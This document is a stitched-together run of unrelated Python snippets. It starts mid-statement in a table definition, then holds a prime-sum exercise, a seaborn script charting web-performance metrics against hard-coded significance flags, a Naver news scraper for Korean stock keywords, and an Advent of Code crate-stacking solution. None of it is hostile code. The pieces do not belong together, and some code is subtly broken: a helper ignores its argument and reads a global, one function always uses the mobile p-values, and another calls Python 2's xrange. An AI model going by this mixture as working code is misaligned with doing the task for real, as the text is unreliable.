                   name_long='Movie id').relation('movie.id', mode='foreignkey')
        tbl.column('purchasedate', 'D', name_short='Pdt', name_long='Purchase date')
        tbl.column('available', name_short='Avl', name_long='Available')
        tbl.column('number', 'L', name_long='!!Number')


class Solution:
    # @param A : integer
    # @return a list of integers

    # this method have memory limit exceeded problem at first
    # because i use range other than xrange in primesum function
    def isPrime(self, A):
        if A < 2:
            return 1
        for i in range(2, int(A**0.5+1)):
            if A % i == 0:
                return 0
        return 1

    def primesum(self, A):
        for i in xrange(2, A):
            if self.isPrime(i) and self.isPrime(A - i):
                    return i,A-i


import sys
import numpy
import pandas
import seaborn
import matplotlib.pyplot as plt

"""

This script creates a timeline of interventions, across all metrics
declared in `metricsToUse`. If the p-value for the combination of
intervention and metric was statistically significant, it will be
marked with an S denoting significance.

"""

pvalues_desktop = [
    [False, True, True, False,  False, True, True,  False,
        True,  False, True, True, True,  False, True, ],  # FCP
    [False, False, False, False,  False, True,  False, True,
        False,  False, True, True,  False, True, True, ],  # FMP
    [False, False, False,  False,  False, True, True, True,
        True,  False,  False, True,  False, True, True, ],  # SI
    [False, True, False,  False, True, True, True, True,
        True, True, True, True,  False, True, True, ],  # TBT
    [False, False, False,  False,  False,  False, True,  False,
        False,  False,  False, True,  False, True, True, ],  # EIL
    [False, True, False,  False,  False, True, True, True,
        True, True,  False, True,  False, True, True, ],  # FCI
    [False, True, False,  False,  False, True, True, True,
        True, True, True, True,  False, True, True, ],  # TTI
    [False, False, True,  False, True, True, False, True,
        True,  False, True, True, True, True, True, ],  # NR
    [False, False, True,  False, True,  False,  True, True,
        True, True,  False, True,  False, True, True, ],  # DOM
    [False, False, False,  False, False,  False, True, True,
        True, True, True, True,  False, True, True, ],  # LTTW
    [False, False, False,  False, False, True, True, True,
        True, True, True, True,  False, True, True, ]  # MTTW

]

pvalues_mobile = [
    [False, True, True, True,  False, True, True,  False, True,
        False, True,  False,  False,  False, True, ],  # FCP
    [False, False, True, True, True,  False, True, True, True,
        False,  False,  False,  False,  False, True, ],  # FMP
    [False, True, True, False,  False, True,  False, True, True,
        True,  False,  False,  False,  False, True, ],  # SI
    [False, True, False, True, True, True, True, True, True,
        True,  False,  False,  False,  False, True, ],  # TBT
    [False, True, False, False,  False,  False,  False, True,
        True, True,  False, True, True,  False, True, ],  # EIL
    [False, True, False, False, True, True,  False, True, True,
        True,  False,  False,  False,  False, True, ],  # FCI
    [False, True, False, True, True, True,  False, True, True,
        True,  False,  False,  False,  False, True, ],  # TTI
    [False, False, True, True, True, True,  False, True,
        True,  False, True, True, True, True, True, ],  # NR
    [False, True, True, True, True, True, True, True, True,
        True,  False, True,  False, True, True, ],  # DOM
    [False, True, False, False,  False, True,  False, True, True,
        True,  False,  False,  False,  False, True, ],  # LTTW
    [False, True, False, False, True,  False,  False, True, True,
        True,  False,  False,  False,  False, True, ]  # MTTW

]

timeMetrics = [
    'first-contentful-paint',
    'first-meaningful-paint',
    'speed-index',
    'total-blocking-time',
    'estimated-input-latency',
    'time-to-first-byte',
    'first-cpu-idle',
    'time-to-interactive',
    'network-rtt',
    'average-transfer-time',
    'median-transfer-time',
    '90th-percentile-transfer-time',
    '95th-percentile-transfer-time',
    '99th-percentile-transfer-time',
    'lowest-time-to-widget',
    'median-time-to-widget',
]

yAxixMinSize = {
    'first-contentful-paint': 0,
    'first-meaningful-paint': 0,
    'speed-index': 2000,
    'total-blocking-time': 0,
    'time-to-first-byte': 0,
    'first-cpu-idle': 0,
    'time-to-interactive': 2000,
    'lowest-time-to-widget': 0,
    'median-time-to-widget': 0,
    'estimated-input-latency': 0,
    'network-rtt': 0,
    'network-requests': 0,
    'dom-size': 2000,
    'total-transfer-size': 500000,
    'average-transfer-size': 0,
    'median-transfer-size': 0,
    '90th-percentile-transfer-size': 0,
    '95th-percentile-transfer-size': 0,
    '99th-percentile-transfer-size': 0,
    'average-transfer-time': 0,
    'median-transfer-time': 0,
    '90th-percentile-transfer-time': 0,
    '95th-percentile-transfer-time': 0,
    '99th-percentile-transfer-time': 0,
    'number-api-calls': 50,
    'lowest-time-to-widget': 0,
    'median-time-to-widget': 0,
}

# Dictionary of the max limit on the y axis for each column
yAxixMaxSize = {
    'first-contentful-paint': 4000,
    'first-meaningful-paint': 6000,
    'speed-index': 12000,
    'total-blocking-time': 15000,
    'time-to-first-byte': 150,
    'first-cpu-idle': 20000,
    'time-to-interactive': 20000,
    'lowest-time-to-widget': 5000,
    'median-time-to-widget': 6000,
    'estimated-input-latency': 1500,
    'network-rtt': 100,
    'network-requests': 300,
    'dom-size': 16000,
    'total-transfer-size': 800000,
    'average-transfer-size': 5000,
    'median-transfer-size': 1500,
    '90th-percentile-transfer-size': 5000,
    '95th-percentile-transfer-size': 25000,
    '99th-percentile-transfer-size': 50000,
    'average-transfer-time': 500,
    'median-transfer-time': 250,
    '90th-percentile-transfer-time': 500,
    '95th-percentile-transfer-time': 500,
    '99th-percentile-transfer-time': 5000,
    'number-api-calls': 300,
}

colors = [
    '#4FC1F8',
    '#35F2CD',
    '#B943FF',
    '#FF3F85',
    '#7CF642',
    '#FF390F',
    '#F6B42A',
    '#4FC1F8',
    '#35F2CD',
    '#B943FF',
    '#FF3F85',
    '#7CF642',
    '#FF390F',
    '#F6B42A',
]

metricsToUse = {
    'first-contentful-paint': 'FCP',
    'first-meaningful-paint': 'FMP',
    'speed-index': 'SI',
    'total-blocking-time': 'TBT',
    'estimated-input-latency': 'EIL',
    'first-cpu-idle': 'FCI',
    'time-to-interactive': 'TTI',
    'network-requests': 'NR',
    'dom-size': 'DOM',
    'lowest-time-to-widget': 'LTTW',
    'median-time-to-widget': 'MTTW',
}

def draw_significance(plot, metricsIndex, intervention):
    bbox_props = dict(boxstyle="square,pad=0.2",
                      fc="#f2f2f2", ec=None, lw=0)
    if (pvalues_mobile[metricsIndex][intervention]):
        plot.annotate('S', color="#ed028c", fontsize=14, xy=(
            0.85, 0.88), xycoords='axes fraction', bbox=bbox_props)

def draw_left_spine(plot, column):
    plot.annotate(metricsToUse[column], xy=(0, 0.5), xytext=(-plot.yaxis.labelpad - 10, 0),
                  xycoords=plot.yaxis.label, textcoords='offset points',
                  size='20', ha='right', va='center')

def draw_top_spine(plot, intervention):
    plot.annotate('Baseline' if interventions == 0 else 'I' + str(interventions), xy=(0.5, 1), xytext=(0, 5),
                  xycoords='axes fraction', textcoords='offset points',
                  size='16', ha='center', va='baseline')

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print('Please specify a folder containing .csv files from which to generate the timeline')
        exit(1)

    Data = [
        pandas.read_csv(sys.argv[1] + '1.csv'),
        pandas.read_csv(sys.argv[1] + '2.csv'),
        pandas.read_csv(sys.argv[1] + '3.csv'),
        pandas.read_csv(sys.argv[1] + '4.csv'),
        pandas.read_csv(sys.argv[1] + '5.csv'),
        pandas.read_csv(sys.argv[1] + '6.csv'),
        pandas.read_csv(sys.argv[1] + '7.csv'),
        pandas.read_csv(sys.argv[1] + '8.csv'),
        pandas.read_csv(sys.argv[1] + '9.csv'),
        pandas.read_csv(sys.argv[1] + '10.csv'),
        pandas.read_csv(sys.argv[1] + '11.csv'),
        pandas.read_csv(sys.argv[1] + '12.csv'),
        pandas.read_csv(sys.argv[1] + '13.csv'),
        pandas.read_csv(sys.argv[1] + '14.csv'),
    ]

    interventions = 0

    figure, axes = plt.subplots(len(metricsToUse), len(
        Data), figsize=(len(Data) * 1.5, len(metricsToUse) * 2))
    for improvement in Data:
        metricsIndex = 0
        for column in improvement:
            if column in metricsToUse:
                plot = axes[metricsIndex, interventions]

                plot = seaborn.boxenplot(
                    data=improvement[column], ax=plot, color=colors[metricsIndex])
                plot.set(xticklabels=[''], ylim=(
                    yAxixMinSize[column], yAxixMaxSize[column]))
                plot.grid(linewidth=0.5)

                if column in timeMetrics:
                    plot.set(ylabel='Time (ms)')
                else:
                    plot.set(ylabel='Quantity')

                seaborn.despine(left=False, right=False, top=False,
                                bottom=False, ax=plot)

                plt.subplots_adjust(left=0.125, bottom=0.1,
                                    right=0.9, top=0.9, wspace=0.0, hspace=0.5)
                plt.grid(True)

                if interventions == 0:
                    draw_left_spine(plot, column)
                else:
                    plot.set(ylabel='', yticklabels=[''])

                draw_significance(plot, metricsIndex, interventions)

                metricsIndex += 1

        draw_top_spine(axes[0, interventions], interventions)
        interventions += 1

    figure.tight_layout()
    figure.savefig('../figures/timeline.pdf')
    figure.clf()
    plt.close()

    print('Done!')


from bs4 import BeautifulSoup
import requests as rq
from time import sleep
import re
import csv
from urllib.parse import quote
import press as pr

def get_data(url,press_company):
    crawling_content = pr.press_crawling()
    if 'news.naver.com' in url : content,category,day,day_time = crawling_content.naver(url)
    elif press_company == '국민일보': content,category,day,day_time = crawling_content.kook(url)
    elif press_company == '연합뉴스': content,category,day,day_time = crawling_content.yna(url)
    elif press_company == '한겨레': content,category,day,day_time = crawling_content.han(url)
    elif press_company == '동아일보': content,category,day,day_time = crawling_content.dong(url)
    elif press_company == '조선일보': content,category,day,day_time = crawling_content.chosun(url)
    elif press_company == '중앙일보': content,category,day,day_time = crawling_content.joong(url)
    elif press_company == '파이낸셜뉴스': content,category,day,day_time = crawling_content.fnnews(url)
    elif press_company == '머니투데이': content,category,day,day_time = crawling_content.mt(url)
    elif press_company == '매일경제': content,category,day,day_time = crawling_content.mk(url)
    #elif press_company == '서울신문': content,category,day,day_time = crawling_content.seoul(url)
    elif press_company == '서울경제': content,category,day,day_time = crawling_content.sedaily(url)
    elif press_company == '이데일리': content,category,day,day_time = crawling_content.edaily(url)
    else : return '0','0','0','0'
    return day,day_time,category,content

def naver_news(sdate,edate,query):
    print(query)
    URL_BEFORE_KEY = "https://search.naver.com/search.naver?where=news&query="
    URL_BEFORE_SDATE = "&sm=tab_srt&sort=1&photo=3&field=0&reporter_article=&pd=3&ds="
    URL_BEFORE_EDATE = "&de="
    URL_BEFORE_PAGE = "&start="
    news = []
    for i in range(0, 2500000):
        page = (10*i)+1
        url = URL_BEFORE_KEY + quote(query) + URL_BEFORE_SDATE + sdate + URL_BEFORE_EDATE + edate + URL_BEFORE_PAGE + str(page)
        print(url)
        r = rq.get(url) #해당 url의 정보 요청

        sleep(1)
        soup = BeautifulSoup(r.content,'lxml')

        news_list = soup.find('ul',attrs={'class':'type01'})
        if news_list is None:
            break
        if i == 0: index = soup.find('div',attrs={'class':'title_desc'}).find('span').get_text()[7:20].replace('건','').replace(',','')
        print(index)
        if page > int(index) : break
        for company,url in zip(news_list.select('dd.txt_inline > span._sp_each_source'),news_list.select('dl > dt > a._sp_each_title')):
            address = url.get('href')
            title = url.get_text()
            if '기업공시' in title : continue
            press_company = ''.join(company(text=True)).replace('언론사 선정','')
            print(address)
            print(press_company)
            day,day_time,category,content = get_data(address,press_company)
            category = category.replace('\n','')
            day_time = day_time.replace('\n','')
            print(day)
            if day == '0':continue
            news.append([query,day,day_time,category,title,content])
    return news

news = naver_news( '2010.01.01', '2019.12.31', '대북주')
filename = '/home/user/stockprice/data/news/대북주.csv'
f = open(filename,'w')
wr = csv.writer(f)
wr.writerow(['키워드','날짜','시간','카테고리','제목','본문'])
for row in news:
    wr.writerow(row)
sleep(100)

"""
text1 = ["2010.11.15","2010.11.01","2010.10.15","2010.10.01","2010.09.15","2010.09.01","2010.08.15","2010.08.01","2010.07.15","2010.07.01"]
text2 = ["2010.11.30","2010.11.14","2010.10.31","2010.10.14","2010.09.30","2010.09.14","2010.08.31","2010.08.14","2010.07.31","2010.07.14"]
#text1 = ["2010.08.01","2010.07.15","2010.07.01"]
#text2 = ["2010.08.14","2010.07.31","2010.07.14"]

for index in range(len(text1)):

    news = naver_news( text1[index], text2[index], '북한')
    filename = '/home/user/stockprice/data/지면기사/북한'+str(index+200)+'.csv'
    f = open(filename,'w')
    wr = csv.writer(f)
    wr.writerow(['회사','날짜','시간','카테고리','제목','본문'])
    for row in news:
        wr.writerow(row)
    sleep(100)

text1 = ["2010.06.15","2010.06.01","2010.05.15","2010.05.01","2010.04.15","2010.04.01","2010.03.15","2010.03.01","2010.02.15","2010.02.01","2010.01.15","2010.01.01"]
text2 = ["2010.06.30","2010.06.14","2010.05.31","2010.05.14","2010.04.30","2010.04.14","2010.03.31","2010.03.14","2010.02.29","2010.02.14","2010.01.31","2010.01.14"]
#text1 = ["2010.04.01","2010.03.15","2010.03.01","2010.02.15","2010.02.01","2010.01.15","2010.01.01"]
#text2 = ["2010.04.14","2010.03.31","2010.03.14","2010.02.29","2010.02.14","2010.01.31","2010.01.14"]

for index in range(len(text1)):

    news = naver_news( text1[index], text2[index], '북한')
    filename = '/home/user/stockprice/data/포토/북한'+str(index+12)+'.csv'
    f = open(filename,'w')
    wr = csv.writer(f)
    wr.writerow(['회사','날짜','시간','카테고리','제목','본문'])
    for row in news:
        wr.writerow(row)
    sleep(100)

#"현대엘리베이","조비","남광토건","제이에스티나","재영솔루텍","휴스틸","대동스틸","남해화학","퍼스텍","유진로봇",
text = ["LS","현대상선"]
for query in text:
    news = naver_news('2010.01.01', '2010.12.31', query)
    filename = '/home/user/stockprice/data/'+query+'.csv'
    f = open(filename,'w')
    wr = csv.writer(f)
    wr.writerow(['회사','날짜','시간','카테고리','제목','본문'])
    for row in news:
        wr.writerow(row)
    sleep(100)

text = ["화성밸브","삼현철강","하이스틸","유니온","성신양회","계룡건설","웰크론","동신건설","도화엔지니어","LS산전"]
for query in text:
    news = naver_news('2010.01.01', '2010.12.19', query)
    filename = '/home/user/stockprice/data/'+query+'.csv'
    f = open(filename,'w')
    wr = csv.writer(f)
    wr.writerow(['회사','날짜','시간','카테고리','제목','본문'])
    for row in news:
        wr.writerow(row)
    sleep(100)

text = ["부산산업","한라","특수건설","리노스","동아지질","EG","코아스","이건산업","한국석유"]
for query in text:
    news = naver_news('2010.01.01', '2010.12.19', query)
    filename = '/home/user/stockprice/data/'+query+'.csv'
    f = open(filename,'w')
    wr = csv.writer(f)
    wr.writerow(['회사','날짜','시간','카테고리','제목','본문'])
    for row in news:
        wr.writerow(row)
    sleep(100)

text = ["삼성전자","SK하이닉스","NAVER","삼성바이오로직스","현대차","현대모비스","셀트리온","LG화학","신한지주",
        "POSCO","KB금융","LG생활건강","SK텔레콤","삼성물산","SK","한국전력","기아차","삼성SDI"]
for query in text:
    news = naver_news('2010.01.01', '2010.12.19', query)
    filename = '/home/user/stockprice/data/'+query+'.csv'
    f = open(filename,'w')
    wr = csv.writer(f)
    wr.writerow(['회사','날짜','시간','카테고리','제목','본문'])
    for row in news:
        wr.writerow(row)
    sleep(100)
"""


import copy

def stackParser():
    # get line by line and add to a 2d list
    stacks = []
    inp = input()
    while inp:
        stacks.append(inp)
        inp = input()
    # transpose
    stacks = list(zip(*stacks))

    # remove noise
    new_stack = []
    for line in stacks:
        new_line = list(filter(lambda x: x not in "[ ]", line))
        if new_line:
            new_stack.append("".join(new_line))

    # create a dict
    stacks = dict()
    for stack in new_stack:
        stacks[int(stack[-1])] = list(stack[:-1][::-1])
    return stacks

def instructionParser():
    instructions = []
    inp = input()
    while inp:
        _, qty, _, source, _, destination = inp.split()
        qty, source, destination = map(int, [qty, source, destination])
        instructions.append([qty, source, destination])
        inp = input()
    return instructions

def day5_parta(crates, instructions):
    for instruction in instructions:
        qty, source, destination = instruction
        for _ in range(qty):
            crates[destination].append(crates[source].pop())

    top = ""
    for value in crates.values():
        top += value[-1]
    return top

def day5_partb(crates, instructions):
    for instruction in instructions:
        qty, source, destination = instruction
        crates[destination] += crates[source][-1 * qty:]
        crates[source] = crates[source][: -1 * qty]

    top = ""
    for value in crates.values():
        top += value[-1]
    return top

crates = stackParser()
new_crates = copy.deepcopy(crates)
instructions = instructionParser()

print(day5_parta(crates, instructions))
print(day5_partb(new_crates, instructions))